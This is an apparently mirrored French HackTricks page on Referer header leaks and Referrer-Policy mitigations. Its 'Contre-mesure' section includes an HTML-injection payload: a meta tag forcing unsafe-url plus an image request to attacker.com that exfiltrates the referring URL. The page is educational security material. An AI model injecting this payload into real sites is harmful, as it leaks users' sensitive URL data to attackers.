mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
62 lines
3.8 KiB
Markdown
62 lines
3.8 KiB
Markdown
|
<details>
|
||
|
|
|
||
|
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
|
|
||
|
|
Autres façons de soutenir HackTricks :
|
||
|
|
|
||
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||
|
|
|
||
|
|
</details>
|
||
|
|
|
||
|
|
|
||
|
|
# En-têtes de référenceur et politique
|
||
|
|
|
||
|
|
Le référenceur est l'en-tête utilisé par les navigateurs pour indiquer quelle était la page précédemment visitée.
|
||
|
|
|
||
|
|
## Informations sensibles divulguées
|
||
|
|
|
||
|
|
Si à un moment donné à l'intérieur d'une page web, des informations sensibles sont situées dans les paramètres d'une requête GET, si la page contient des liens vers des sources externes ou si un attaquant est capable de faire/suggérer (ingénierie sociale) à l'utilisateur de visiter une URL contrôlée par l'attaquant. Il pourrait être en mesure d'exfiltrer les informations sensibles à l'intérieur de la dernière requête GET.
|
||
|
|
|
||
|
|
## Atténuation
|
||
|
|
|
||
|
|
Vous pouvez faire en sorte que le navigateur suive une **politique de référenceur** qui pourrait **éviter** que les informations sensibles ne soient envoyées à d'autres applications web :
|
||
|
|
```
|
||
|
|
Referrer-Policy: no-referrer
|
||
|
|
Referrer-Policy: no-referrer-when-downgrade
|
||
|
|
Referrer-Policy: origin
|
||
|
|
Referrer-Policy: origin-when-cross-origin
|
||
|
|
Referrer-Policy: same-origin
|
||
|
|
Referrer-Policy: strict-origin
|
||
|
|
Referrer-Policy: strict-origin-when-cross-origin
|
||
|
|
Referrer-Policy: unsafe-url
|
||
|
|
```
|
||
|
|
## Contre-mesure
|
||
|
|
|
||
|
|
Vous pouvez outrepasser cette règle en utilisant une balise méta HTML (l'attaquant doit exploiter une injection HTML) :
|
||
|
|
```markup
|
||
|
|
<meta name="referrer" content="unsafe-url">
|
||
|
|
<img src="https://attacker.com">
|
||
|
|
```
|
||
|
|
## Défense
|
||
|
|
|
||
|
|
Ne jamais mettre de données sensibles dans les paramètres GET ou les chemins de l'URL.
|
||
|
|
|
||
|
|
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
|
|
||
|
|
Autres façons de soutenir HackTricks:
|
||
|
|
|
||
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||
|
|
|
||
|
|
</details>
|